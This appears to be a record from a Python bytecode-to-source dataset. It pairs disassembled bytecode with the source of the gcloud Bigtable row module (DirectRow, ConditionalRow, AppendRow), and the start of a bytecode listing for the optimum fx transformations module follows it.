time_range LOAD_FAST state LOAD_CONST ('time_range', 'state') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _true_pb_mutations LOAD_CONST None LOAD_CONST None BUILD_SLICE DELETE_SUBSCR LOAD_FAST self LOAD_ATTR _false_pb_mutations LOAD_CONST None LOAD_CONST None BUILD_SLICE DELETE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AppendRow' STORE_NAME __qualname__ LOAD_CONST 'Google Cloud Bigtable Row for sending append mutations.\n\n These mutations are intended to augment the value of an existing cell\n and uses the methods:\n\n * :meth:`append_cell_value`\n * :meth:`increment_cell_value`\n\n The first works by appending bytes and the second by incrementing an\n integer (stored in the cell as 8 bytes). In either case, if the\n cell is empty, assumes the default empty value (empty string for\n bytes or and 0 for integer).\n\n :type row_key: bytes\n :param row_key: The key for the current row.\n\n :type table: :class:`Table <gcloud.bigtable.table.Table>`\n :param table: The table that owns the row.\n ' STORE_NAME __doc__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab82236db0, file "f.py", line 641> LOAD_CONST 'AppendRow.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object clear at 0x7fab82236270, file "f.py", line 645> LOAD_CONST 'AppendRow.clear' MAKE_FUNCTION STORE_NAME clear LOAD_CONST <code object append_cell_value at 0x7fab822365d0, file "f.py", line 649> LOAD_CONST 'AppendRow.append_cell_value' MAKE_FUNCTION STORE_NAME append_cell_value LOAD_CONST <code object increment_cell_value at 0x7fab82236ed0, file "f.py", line 680> LOAD_CONST 'AppendRow.increment_cell_value' MAKE_FUNCTION STORE_NAME increment_cell_value LOAD_CONST <code object commit at 0x7fab82236420, file "f.py", line 718> LOAD_CONST 'AppendRow.commit' MAKE_FUNCTION STORE_NAME commit LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL AppendRow LOAD_FAST self CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST row_key LOAD_FAST table CALL_METHOD POP_TOP BUILD_LIST LOAD_FAST self STORE_ATTR _rule_pb_list LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _rule_pb_list LOAD_CONST None LOAD_CONST None BUILD_SLICE DELETE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _to_bytes LOAD_FAST column CALL_FUNCTION STORE_FAST column LOAD_GLOBAL _to_bytes LOAD_FAST value CALL_FUNCTION STORE_FAST value LOAD_GLOBAL data_v2_pb2 LOAD_ATTR ReadModifyWriteRule LOAD_FAST column_family_id LOAD_FAST column LOAD_FAST value LOAD_CONST ('family_name', 'column_qualifier', 'append_value') CALL_FUNCTION STORE_FAST rule_pb LOAD_FAST self LOAD_ATTR _rule_pb_list LOAD_METHOD append LOAD_FAST rule_pb CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _to_bytes LOAD_FAST column CALL_FUNCTION STORE_FAST column LOAD_GLOBAL data_v2_pb2 LOAD_ATTR ReadModifyWriteRule LOAD_FAST column_family_id LOAD_FAST column LOAD_FAST int_value LOAD_CONST ('family_name', 'column_qualifier', 'increment_amount') CALL_FUNCTION STORE_FAST rule_pb LOAD_FAST self LOAD_ATTR _rule_pb_list LOAD_METHOD append LOAD_FAST rule_pb CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR _rule_pb_list CALL_FUNCTION STORE_FAST num_mutations LOAD_FAST num_mutations LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE BUILD_MAP RETURN_VALUE LOAD_FAST num_mutations LOAD_GLOBAL MAX_MUTATIONS COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST '%d total append mutations exceed the maximum allowable %d.' LOAD_FAST num_mutations LOAD_GLOBAL MAX_MUTATIONS BUILD_TUPLE BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL messages_v2_pb2 LOAD_ATTR ReadModifyWriteRowRequest LOAD_FAST self LOAD_ATTR _table LOAD_ATTR name LOAD_FAST self LOAD_ATTR _row_key LOAD_FAST self LOAD_ATTR _rule_pb_list LOAD_CONST ('table_name', 'row_key', 'rules') CALL_FUNCTION STORE_FAST request_pb LOAD_FAST self LOAD_ATTR _table LOAD_ATTR _instance LOAD_ATTR _client STORE_FAST client LOAD_FAST client LOAD_ATTR _data_stub LOAD_METHOD ReadModifyWriteRow LOAD_FAST request_pb LOAD_FAST client LOAD_ATTR timeout_seconds CALL_METHOD STORE_FAST row_response LOAD_FAST self LOAD_METHOD clear CALL_METHOD POP_TOP LOAD_GLOBAL _parse_rmw_row_response LOAD_FAST row_response CALL_FUNCTION RETURN_VALUE BUILD_MAP STORE_FAST result SETUP_LOOP to 42 LOAD_FAST row_response LOAD_ATTR row LOAD_ATTR families GET_ITER FOR_ITER to 40 STORE_FAST column_family LOAD_GLOBAL _parse_family_pb LOAD_FAST column_family CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST column_family_id STORE_FAST curr_family LOAD_FAST curr_family LOAD_FAST result LOAD_FAST column_family_id STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST result RETURN_VALUE BUILD_MAP STORE_FAST result SETUP_LOOP to 76 LOAD_FAST family_pb LOAD_ATTR columns GET_ITER FOR_ITER to 74 STORE_FAST column BUILD_LIST DUP_TOP LOAD_FAST result LOAD_FAST column LOAD_ATTR qualifier STORE_SUBSCR STORE_FAST cells SETUP_LOOP to 72 LOAD_FAST column LOAD_ATTR cells GET_ITER FOR_ITER to 70 STORE_FAST cell LOAD_FAST cell LOAD_ATTR value LOAD_GLOBAL _datetime_from_microseconds LOAD_FAST cell LOAD_ATTR timestamp_micros CALL_FUNCTION BUILD_TUPLE STORE_FAST val_pair LOAD_FAST cells LOAD_METHOD append LOAD_FAST val_pair CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_FAST family_pb LOAD_ATTR name LOAD_FAST result BUILD_TUPLE RETURN_VALUE
"""User friendly container for Google Cloud Bigtable Row.""" import struct import six from gcloud._helpers import _datetime_from_microseconds from gcloud._helpers import _microseconds_from_datetime from gcloud._helpers import _to_bytes from gcloud.bigtable._generated import data_pb2 as data_v2_pb2 from gcloud.bigtable._generated import bigtable_pb2 as messages_v2_pb2 _PACK_I64 = struct.Struct(">q").pack MAX_MUTATIONS = 100000 """The maximum number of mutations that a row can accumulate.""" class Row(object): """Base representation of a Google Cloud Bigtable Row. This class has three subclasses corresponding to the three RPC methods for sending row mutations: * :class:`DirectRow` for ``MutateRow`` * :class:`ConditionalRow` for ``CheckAndMutateRow`` * :class:`AppendRow` for ``ReadModifyWriteRow`` :type row_key: bytes :param row_key: The key for the current row. :type table: :class:`Table <gcloud.bigtable.table.Table>` :param table: The table that owns the row. """ def __init__(self, row_key, table): self._row_key = _to_bytes(row_key) self._table = table class _SetDeleteRow(Row): """Row helper for setting or deleting cell values. Implements helper methods to add mutations to set or delete cell contents: * :meth:`set_cell` * :meth:`delete` * :meth:`delete_cell` * :meth:`delete_cells` :type row_key: bytes :param row_key: The key for the current row. :type table: :class:`Table <gcloud.bigtable.table.Table>` :param table: The table that owns the row. """ ALL_COLUMNS = object() """Sentinel value used to indicate all columns in a column family.""" def _get_mutations(self, state): """Gets the list of mutations for a given state. This method intended to be implemented by subclasses. ``state`` may not need to be used by all subclasses. :type state: bool :param state: The state that the mutation should be applied in. :raises: :class:`NotImplementedError <exceptions.NotImplementedError>` always. """ raise NotImplementedError def _set_cell(self, column_family_id, column, value, timestamp=None, state=None): """Helper for :meth:`set_cell` Adds a mutation to set the value in a specific cell. ``state`` is unused by :class:`DirectRow` but is used by subclasses. :type column_family_id: str :param column_family_id: The column family that contains the column. Must be of the form ``[_a-zA-Z0-9][-_.a-zA-Z0-9]*``. :type column: bytes :param column: The column within the column family where the cell is located. :type value: bytes or :class:`int` :param value: The value to set in the cell. If an integer is used, will be interpreted as a 64-bit big-endian signed integer (8 bytes). :type timestamp: :class:`datetime.datetime` :param timestamp: (Optional) The timestamp of the operation. :type state: bool :param state: (Optional) The state that is passed along to :meth:`_get_mutations`. """ column = _to_bytes(column) if isinstance(value, six.integer_types): value = _PACK_I64(value) value = _to_bytes(value) if timestamp is None: timestamp_micros = -1 else: timestamp_micros = _microseconds_from_datetime(timestamp) timestamp_micros -= timestamp_micros % 1000 mutation_val = data_v2_pb2.Mutation.SetCell( family_name=column_family_id, column_qualifier=column, timestamp_micros=timestamp_micros, value=value, ) mutation_pb = data_v2_pb2.Mutation(set_cell=mutation_val) self._get_mutations(state).append(mutation_pb) def _delete(self, state=None): """Helper for :meth:`delete` Adds a delete mutation (for the entire row) to the accumulated mutations. ``state`` is unused by :class:`DirectRow` but is used by subclasses. :type state: bool :param state: (Optional) The state that is passed along to :meth:`_get_mutations`. """ mutation_val = data_v2_pb2.Mutation.DeleteFromRow() mutation_pb = data_v2_pb2.Mutation(delete_from_row=mutation_val) self._get_mutations(state).append(mutation_pb) def _delete_cells(self, column_family_id, columns, time_range=None, state=None): """Helper for :meth:`delete_cell` and :meth:`delete_cells`. ``state`` is unused by :class:`DirectRow` but is used by subclasses. :type column_family_id: str :param column_family_id: The column family that contains the column or columns with cells being deleted. Must be of the form ``[_a-zA-Z0-9][-_.a-zA-Z0-9]*``. :type columns: :class:`list` of :class:`str` / :func:`unicode <unicode>`, or :class:`object` :param columns: The columns within the column family that will have cells deleted. If :attr:`ALL_COLUMNS` is used then the entire column family will be deleted from the row. :type time_range: :class:`TimestampRange` :param time_range: (Optional) The range of time within which cells should be deleted. :type state: bool :param state: (Optional) The state that is passed along to :meth:`_get_mutations`. """ mutations_list = self._get_mutations(state) if columns is self.ALL_COLUMNS: mutation_val = data_v2_pb2.Mutation.DeleteFromFamily( family_name=column_family_id, ) mutation_pb = data_v2_pb2.Mutation(delete_from_family=mutation_val) mutations_list.append(mutation_pb) else: delete_kwargs = {} if time_range is not None: delete_kwargs["time_range"] = time_range.to_pb() to_append = [] for column in columns: column = _to_bytes(column) delete_kwargs.update( family_name=column_family_id, column_qualifier=column, ) mutation_val = data_v2_pb2.Mutation.DeleteFromColumn(**delete_kwargs) mutation_pb = data_v2_pb2.Mutation(delete_from_column=mutation_val) to_append.append(mutation_pb) mutations_list.extend(to_append) class DirectRow(_SetDeleteRow): """Google Cloud Bigtable Row for sending "direct" mutations. These mutations directly set or delete cell contents: * :meth:`set_cell` * :meth:`delete` * :meth:`delete_cell` * :meth:`delete_cells` These methods can be used directly:: >>> row = table.row(b'row-key1') >>> row.set_cell(u'fam', b'col1', b'cell-val') >>> row.delete_cell(u'fam', b'col2') .. note:: A :class:`DirectRow` accumulates mutations locally via the :meth:`set_cell`, :meth:`delete`, :meth:`delete_cell` and :meth:`delete_cells` methods. To actually send these mutations to the Google Cloud Bigtable API, you must call :meth:`commit`. :type row_key: bytes :param row_key: The key for the current row. :type table: :class:`Table <gcloud.bigtable.table.Table>` :param table: The table that owns the row. """ def __init__(self, row_key, table): super(DirectRow, self).__init__(row_key, table) self._pb_mutations = [] def _get_mutations(self, state): # pylint: disable=unused-argument """Gets the list of mutations for a given state. ``state`` is unused by :class:`DirectRow` but is used by subclasses. :type state: bool :param state: The state that the mutation should be applied in. :rtype: list :returns: The list to add new mutations to (for the current state). """ return self._pb_mutations def set_cell(self, column_family_id, column, value, timestamp=None): """Sets a value in this row. The cell is determined by the ``row_key`` of this :class:`DirectRow` and the ``column``. The ``column`` must be in an existing :class:`.ColumnFamily` (as determined by ``column_family_id``). .. note:: This method adds a mutation to the accumulated mutations on this row, but does not make an API request. To actually send an API request (with the mutations) to the Google Cloud Bigtable API, call :meth:`commit`. :type column_family_id: str :param column_family_id: The column family that contains the column. Must be of the form ``[_a-zA-Z0-9][-_.a-zA-Z0-9]*``. :type column: bytes :param column: The column within the column family where the cell is located. :type value: bytes or :class:`int` :param value: The value to set in the cell. If an integer is used, will be interpreted as a 64-bit big-endian signed integer (8 bytes). :type timestamp: :class:`datetime.datetime` :param timestamp: (Optional) The timestamp of the operation. """ self._set_cell(column_family_id, column, value, timestamp=timestamp, state=None) def delete(self): """Deletes this row from the table. .. note:: This method adds a mutation to the accumulated mutations on this row, but does not make an API request. To actually send an API request (with the mutations) to the Google Cloud Bigtable API, call :meth:`commit`. """ self._delete(state=None) def delete_cell(self, column_family_id, column, time_range=None): """Deletes cell in this row. .. note:: This method adds a mutation to the accumulated mutations on this row, but does not make an API request. To actually send an API request (with the mutations) to the Google Cloud Bigtable API, call :meth:`commit`. :type column_family_id: str :param column_family_id: The column family that contains the column or columns with cells being deleted. Must be of the form ``[_a-zA-Z0-9][-_.a-zA-Z0-9]*``. :type column: bytes :param column: The column within the column family that will have a cell deleted. :type time_range: :class:`TimestampRange` :param time_range: (Optional) The range of time within which cells should be deleted. """ self._delete_cells( column_family_id, [column], time_range=time_range, state=None ) def delete_cells(self, column_family_id, columns, time_range=None): """Deletes cells in this row. .. note:: This method adds a mutation to the accumulated mutations on this row, but does not make an API request. To actually send an API request (with the mutations) to the Google Cloud Bigtable API, call :meth:`commit`. :type column_family_id: str :param column_family_id: The column family that contains the column or columns with cells being deleted. Must be of the form ``[_a-zA-Z0-9][-_.a-zA-Z0-9]*``. :type columns: :class:`list` of :class:`str` / :func:`unicode <unicode>`, or :class:`object` :param columns: The columns within the column family that will have cells deleted. If :attr:`ALL_COLUMNS` is used then the entire column family will be deleted from the row. :type time_range: :class:`TimestampRange` :param time_range: (Optional) The range of time within which cells should be deleted. """ self._delete_cells(column_family_id, columns, time_range=time_range, state=None) def commit(self): """Makes a ``MutateRow`` API request. If no mutations have been created in the row, no request is made. Mutations are applied atomically and in order, meaning that earlier mutations can be masked / negated by later ones. Cells already present in the row are left unchanged unless explicitly changed by a mutation. After committing the accumulated mutations, resets the local mutations to an empty list. :raises: :class:`ValueError <exceptions.ValueError>` if the number of mutations exceeds the :data:`MAX_MUTATIONS`. """ mutations_list = self._get_mutations(None) num_mutations = len(mutations_list) if num_mutations == 0: return if num_mutations > MAX_MUTATIONS: raise ValueError( "%d total mutations exceed the maximum allowable " "%d." % (num_mutations, MAX_MUTATIONS) ) request_pb = messages_v2_pb2.MutateRowRequest( table_name=self._table.name, row_key=self._row_key, mutations=mutations_list, ) client = self._table._instance._client client._data_stub.MutateRow(request_pb, client.timeout_seconds) self.clear() def clear(self): """Removes all currently accumulated mutations on the current row.""" del self._pb_mutations[:] class ConditionalRow(_SetDeleteRow): """Google Cloud Bigtable Row for sending mutations conditionally. Each mutation has an associated state: :data:`True` or :data:`False`. When :meth:`commit`-ed, the mutations for the :data:`True` state will be applied if the filter matches any cells in the row, otherwise the :data:`False` state will be applied. A :class:`ConditionalRow` accumulates mutations in the same way a :class:`DirectRow` does: * :meth:`set_cell` * :meth:`delete` * :meth:`delete_cell` * :meth:`delete_cells` with the only change the extra ``state`` parameter:: >>> row_cond = table.row(b'row-key2', filter_=row_filter) >>> row_cond.set_cell(u'fam', b'col', b'cell-val', state=True) >>> row_cond.delete_cell(u'fam', b'col', state=False) .. note:: As with :class:`DirectRow`, to actually send these mutations to the Google Cloud Bigtable API, you must call :meth:`commit`. :type row_key: bytes :param row_key: The key for the current row. :type table: :class:`Table <gcloud.bigtable.table.Table>` :param table: The table that owns the row. :type filter_: :class:`.RowFilter` :param filter_: Filter to be used for conditional mutations. """ def __init__(self, row_key, table, filter_): super(ConditionalRow, self).__init__(row_key, table) self._filter = filter_ self._true_pb_mutations = [] self._false_pb_mutations = [] def _get_mutations(self, state): """Gets the list of mutations for a given state. Over-ridden so that the state can be used in: * :meth:`set_cell` * :meth:`delete` * :meth:`delete_cell` * :meth:`delete_cells` :type state: bool :param state: The state that the mutation should be applied in. :rtype: list :returns: The list to add new mutations to (for the current state). """ if state: return self._true_pb_mutations else: return self._false_pb_mutations def commit(self): """Makes a ``CheckAndMutateRow`` API request. If no mutations have been created in the row, no request is made. The mutations will be applied conditionally, based on whether the filter matches any cells in the :class:`ConditionalRow` or not. (Each method which adds a mutation has a ``state`` parameter for this purpose.) Mutations are applied atomically and in order, meaning that earlier mutations can be masked / negated by later ones. Cells already present in the row are left unchanged unless explicitly changed by a mutation. After committing the accumulated mutations, resets the local mutations. :rtype: bool :returns: Flag indicating if the filter was matched (which also indicates which set of mutations were applied by the server). :raises: :class:`ValueError <exceptions.ValueError>` if the number of mutations exceeds the :data:`MAX_MUTATIONS`. """ true_mutations = self._get_mutations(state=True) false_mutations = self._get_mutations(state=False) num_true_mutations = len(true_mutations) num_false_mutations = len(false_mutations) if num_true_mutations == 0 and num_false_mutations == 0: return if num_true_mutations > MAX_MUTATIONS or num_false_mutations > MAX_MUTATIONS: raise ValueError( "Exceed the maximum allowable mutations (%d). Had %s true " "mutations and %d false mutations." % (MAX_MUTATIONS, num_true_mutations, num_false_mutations) ) request_pb = messages_v2_pb2.CheckAndMutateRowRequest( table_name=self._table.name, row_key=self._row_key, predicate_filter=self._filter.to_pb(), true_mutations=true_mutations, false_mutations=false_mutations, ) client = self._table._instance._client resp = client._data_stub.CheckAndMutateRow(request_pb, client.timeout_seconds) self.clear() return resp.predicate_matched def set_cell(self, column_family_id, column, value, timestamp=None, state=True): """Sets a value in this row. The cell is determined by the ``row_key`` of this :class:`ConditionalRow` and the ``column``. The ``column`` must be in an existing :class:`.ColumnFamily` (as determined by ``column_family_id``). .. note:: This method adds a mutation to the accumulated mutations on this row, but does not make an API request. To actually send an API request (with the mutations) to the Google Cloud Bigtable API, call :meth:`commit`. :type column_family_id: str :param column_family_id: The column family that contains the column. Must be of the form ``[_a-zA-Z0-9][-_.a-zA-Z0-9]*``. :type column: bytes :param column: The column within the column family where the cell is located. :type value: bytes or :class:`int` :param value: The value to set in the cell. If an integer is used, will be interpreted as a 64-bit big-endian signed integer (8 bytes). :type timestamp: :class:`datetime.datetime` :param timestamp: (Optional) The timestamp of the operation. :type state: bool :param state: (Optional) The state that the mutation should be applied in. Defaults to :data:`True`. """ self._set_cell( column_family_id, column, value, timestamp=timestamp, state=state ) def delete(self, state=True): """Deletes this row from the table. .. note:: This method adds a mutation to the accumulated mutations on this row, but does not make an API request. To actually send an API request (with the mutations) to the Google Cloud Bigtable API, call :meth:`commit`. :type state: bool :param state: (Optional) The state that the mutation should be applied in. Defaults to :data:`True`. """ self._delete(state=state) def delete_cell(self, column_family_id, column, time_range=None, state=True): """Deletes cell in this row. .. note:: This method adds a mutation to the accumulated mutations on this row, but does not make an API request. To actually send an API request (with the mutations) to the Google Cloud Bigtable API, call :meth:`commit`. :type column_family_id: str :param column_family_id: The column family that contains the column or columns with cells being deleted. Must be of the form ``[_a-zA-Z0-9][-_.a-zA-Z0-9]*``. :type column: bytes :param column: The column within the column family that will have a cell deleted. :type time_range: :class:`TimestampRange` :param time_range: (Optional) The range of time within which cells should be deleted. :type state: bool :param state: (Optional) The state that the mutation should be applied in. Defaults to :data:`True`. """ self._delete_cells( column_family_id, [column], time_range=time_range, state=state ) def delete_cells(self, column_family_id, columns, time_range=None, state=True): """Deletes cells in this row. .. note:: This method adds a mutation to the accumulated mutations on this row, but does not make an API request. To actually send an API request (with the mutations) to the Google Cloud Bigtable API, call :meth:`commit`. :type column_family_id: str :param column_family_id: The column family that contains the column or columns with cells being deleted. Must be of the form ``[_a-zA-Z0-9][-_.a-zA-Z0-9]*``. :type columns: :class:`list` of :class:`str` / :func:`unicode <unicode>`, or :class:`object` :param columns: The columns within the column family that will have cells deleted. If :attr:`ALL_COLUMNS` is used then the entire column family will be deleted from the row. :type time_range: :class:`TimestampRange` :param time_range: (Optional) The range of time within which cells should be deleted. :type state: bool :param state: (Optional) The state that the mutation should be applied in. Defaults to :data:`True`. """ self._delete_cells( column_family_id, columns, time_range=time_range, state=state ) def clear(self): """Removes all currently accumulated mutations on the current row.""" del self._true_pb_mutations[:] del self._false_pb_mutations[:] class AppendRow(Row): """Google Cloud Bigtable Row for sending append mutations. These mutations are intended to augment the value of an existing cell and uses the methods: * :meth:`append_cell_value` * :meth:`increment_cell_value` The first works by appending bytes and the second by incrementing an integer (stored in the cell as 8 bytes). In either case, if the cell is empty, assumes the default empty value (empty string for bytes or and 0 for integer). :type row_key: bytes :param row_key: The key for the current row. :type table: :class:`Table <gcloud.bigtable.table.Table>` :param table: The table that owns the row. """ def __init__(self, row_key, table): super(AppendRow, self).__init__(row_key, table) self._rule_pb_list = [] def clear(self): """Removes all currently accumulated modifications on current row.""" del self._rule_pb_list[:] def append_cell_value(self, column_family_id, column, value): """Appends a value to an existing cell. .. note:: This method adds a read-modify rule protobuf to the accumulated read-modify rules on this row, but does not make an API request. To actually send an API request (with the rules) to the Google Cloud Bigtable API, call :meth:`commit`. :type column_family_id: str :param column_family_id: The column family that contains the column. Must be of the form ``[_a-zA-Z0-9][-_.a-zA-Z0-9]*``. :type column: bytes :param column: The column within the column family where the cell is located. :type value: bytes :param value: The value to append to the existing value in the cell. If the targeted cell is unset, it will be treated as containing the empty string. """ column = _to_bytes(column) value = _to_bytes(value) rule_pb = data_v2_pb2.ReadModifyWriteRule( family_name=column_family_id, column_qualifier=column, append_value=value ) self._rule_pb_list.append(rule_pb) def increment_cell_value(self, column_family_id, column, int_value): """Increments a value in an existing cell. Assumes the value in the cell is stored as a 64 bit integer serialized to bytes. .. note:: This method adds a read-modify rule protobuf to the accumulated read-modify rules on this row, but does not make an API request. To actually send an API request (with the rules) to the Google Cloud Bigtable API, call :meth:`commit`. :type column_family_id: str :param column_family_id: The column family that contains the column. Must be of the form ``[_a-zA-Z0-9][-_.a-zA-Z0-9]*``. :type column: bytes :param column: The column within the column family where the cell is located. :type int_value: int :param int_value: The value to increment the existing value in the cell by. If the targeted cell is unset, it will be treated as containing a zero. Otherwise, the targeted cell must contain an 8-byte value (interpreted as a 64-bit big-endian signed integer), or the entire request will fail. """ column = _to_bytes(column) rule_pb = data_v2_pb2.ReadModifyWriteRule( family_name=column_family_id, column_qualifier=column, increment_amount=int_value, ) self._rule_pb_list.append(rule_pb) def commit(self): """Makes a ``ReadModifyWriteRow`` API request. This commits modifications made by :meth:`append_cell_value` and :meth:`increment_cell_value`. If no modifications were made, makes no API request and just returns ``{}``. Modifies a row atomically, reading the latest existing timestamp / value from the specified columns and writing a new value by appending / incrementing. The new cell created uses either the current server time or the highest timestamp of a cell in that column (if it exceeds the server time). After committing the accumulated mutations, resets the local mutations. .. code:: python >>> append_row.commit() { u'col-fam-id': { b'col-name1': [ (b'cell-val', datetime.datetime(...)), (b'cell-val-newer', datetime.datetime(...)), ], b'col-name2': [ (b'altcol-cell-val', datetime.datetime(...)), ], }, u'col-fam-id2': { b'col-name3-but-other-fam': [ (b'foo', datetime.datetime(...)), ], }, } :rtype: dict :returns: The new contents of all modified cells. Returned as a dictionary of column families, each of which holds a dictionary of columns. Each column contains a list of cells modified. Each cell is represented with a two-tuple with the value (in bytes) and the timestamp for the cell. :raises: :class:`ValueError <exceptions.ValueError>` if the number of mutations exceeds the :data:`MAX_MUTATIONS`. """ num_mutations = len(self._rule_pb_list) if num_mutations == 0: return {} if num_mutations > MAX_MUTATIONS: raise ValueError( "%d total append mutations exceed the maximum " "allowable %d." % (num_mutations, MAX_MUTATIONS) ) request_pb = messages_v2_pb2.ReadModifyWriteRowRequest( table_name=self._table.name, row_key=self._row_key, rules=self._rule_pb_list, ) client = self._table._instance._client row_response = client._data_stub.ReadModifyWriteRow( request_pb, client.timeout_seconds ) self.clear() return _parse_rmw_row_response(row_response) def _parse_rmw_row_response(row_response): """Parses the response to a ``ReadModifyWriteRow`` request. :type row_response: :class:`.data_v2_pb2.Row` :param row_response: The response row (with only modified cells) from a ``ReadModifyWriteRow`` request. :rtype: dict :returns: The new contents of all modified cells. Returned as a dictionary of column families, each of which holds a dictionary of columns. Each column contains a list of cells modified. Each cell is represented with a two-tuple with the value (in bytes) and the timestamp for the cell. For example: .. code:: python { u'col-fam-id': { b'col-name1': [ (b'cell-val', datetime.datetime(...)), (b'cell-val-newer', datetime.datetime(...)), ], b'col-name2': [ (b'altcol-cell-val', datetime.datetime(...)), ], }, u'col-fam-id2': { b'col-name3-but-other-fam': [ (b'foo', datetime.datetime(...)), ], }, } """ result = {} for column_family in row_response.row.families: column_family_id, curr_family = _parse_family_pb(column_family) result[column_family_id] = curr_family return result def _parse_family_pb(family_pb): """Parses a Family protobuf into a dictionary. :type family_pb: :class:`._generated.data_pb2.Family` :param family_pb: A protobuf :rtype: tuple :returns: A string and dictionary. The string is the name of the column family and the dictionary has column names (within the family) as keys and cell lists as values. Each cell is represented with a two-tuple with the value (in bytes) and the timestamp for the cell. For example: .. code:: python { b'col-name1': [ (b'cell-val', datetime.datetime(...)), (b'cell-val-newer', datetime.datetime(...)), ], b'col-name2': [ (b'altcol-cell-val', datetime.datetime(...)), ], } """ result = {} for column in family_pb.columns: result[column.qualifier] = cells = [] for cell in column.cells: val_pair = ( cell.value, _datetime_from_microseconds(cell.timestamp_micros), ) cells.append(val_pair) return family_pb.name, result
data/gcloud-0.18.3/gcloud/bigtable/row.py
6,596
8,990
192,697
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME collections STORE_NAME collections LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME functools STORE_NAME functools LOAD_CONST 0 LOAD_CONST None IMPORT_NAME itertools STORE_NAME itertools LOAD_CONST 0 LOAD_CONST None IMPORT_NAME operator STORE_NAME operator LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST ('ABC', 'abstractmethod') IMPORT_NAME abc IMPORT_FROM ABC STORE_NAME ABC IMPORT_FROM abstractmethod STORE_NAME abstractmethod POP_TOP LOAD_CONST 0 LOAD_CONST ('TYPE_CHECKING', 'List') IMPORT_NAME typing IMPORT_FROM TYPE_CHECKING STORE_NAME TYPE_CHECKING IMPORT_FROM List STORE_NAME List POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME torch STORE_NAME torch LOAD_CONST 0 LOAD_CONST ('add_end_docstrings',) IMPORT_NAME transformers.file_utils IMPORT_FROM add_end_docstrings STORE_NAME add_end_docstrings POP_TOP LOAD_CONST 0 LOAD_CONST ('_gen_constructor_wrapper',) IMPORT_NAME transformers.utils.fx IMPORT_FROM _gen_constructor_wrapper STORE_NAME _gen_constructor_wrapper POP_TOP LOAD_NAME TYPE_CHECKING POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('GraphModule', 'Node') IMPORT_NAME torch.fx IMPORT_FROM GraphModule STORE_NAME GraphModule IMPORT_FROM Node STORE_NAME Node POP_TOP LOAD_CONST '\nAttributes:\n preserves_computation (`bool`, defaults to `False`):\n Whether the transformation preserves the graph computation or not. If `True`, the original and the\n transformed graph should produce the same outputs.\n' STORE_NAME _ATTRIBUTES_DOCSTRING LOAD_CONST '\n```python\n>>> from transformers import BertModel\n>>> from transformers.utils.fx import symbolic_trace\n>>> from optimum.fx.optimization import {class_name}\n\n>>> model = BertModel.from_pretrained("bert-base-uncased")\n>>> traced = symbolic_trace(\n... model,\n... input_names=["input_ids", "attention_mask", "token_type_ids"],\n... )\n>>> transformation = {class_name}()\n>>> transformed_model = transformation(traced)\n```\n' STORE_NAME _EXAMPLE_DOCSTRING LOAD_CONST '\n```python\n>>> from transformers import BertModel\n>>> from transformers.utils.fx import symbolic_trace\n>>> from optimum.fx.optimization import {class_name}\n\n>>> model = BertModel.from_pretrained("bert-base-uncased")\n>>> traced = symbolic_trace(\n... model,\n... input_names=["input_ids", "attention_mask", "token_type_ids"],\n... )\n>>> transformation = {class_name}()\n>>> transformed_model = transformation(traced)\n>>> restored_model = transformation(transformed_model, reverse=True)\n```\n' STORE_NAME _REVERSIBLE_EXAMPLE_DOCSTRING LOAD_CONST (True,) LOAD_CONST <code object add_docstring at 0x7fab7006d420, file "f.py", line 58> LOAD_CONST 'add_docstring' MAKE_FUNCTION STORE_NAME add_docstring LOAD_NAME add_docstring LOAD_CONST False LOAD_CONST ('add_example',) CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object Transformation at 0x7fab7006d810, file "f.py", line 74> LOAD_CONST 'Transformation' MAKE_FUNCTION LOAD_CONST 'Transformation' LOAD_NAME ABC CALL_FUNCTION CALL_FUNCTION STORE_NAME Transformation LOAD_NAME add_docstring LOAD_CONST False LOAD_CONST ('add_example',) CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object ReversibleTransformation at 0x7fab40ea65d0, file "f.py", line 169> LOAD_CONST 'ReversibleTransformation' MAKE_FUNCTION LOAD_CONST 'ReversibleTransformation' LOAD_NAME Transformation CALL_FUNCTION CALL_FUNCTION STORE_NAME ReversibleTransformation LOAD_NAME add_docstring CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object MergeLinears at 0x7fab543e7db0, file "f.py", line 235> LOAD_CONST 'MergeLinears' MAKE_FUNCTION LOAD_CONST 'MergeLinears' LOAD_NAME ReversibleTransformation CALL_FUNCTION CALL_FUNCTION STORE_NAME MergeLinears LOAD_NAME add_docstring CALL_FUNCTION LOAD_BUILD_CLASS LOAD_CONST <code object FuseBiasInLinear at 0x7fab4107c5d0, file "f.py", line 414> LOAD_CONST 'FuseBiasInLinear' MAKE_FUNCTION LOAD_CONST 'FuseBiasInLinear' LOAD_NAME ReversibleTransformation CALL_FUNCTION CALL_FUNCTION STORE_NAME FuseBiasInLinear 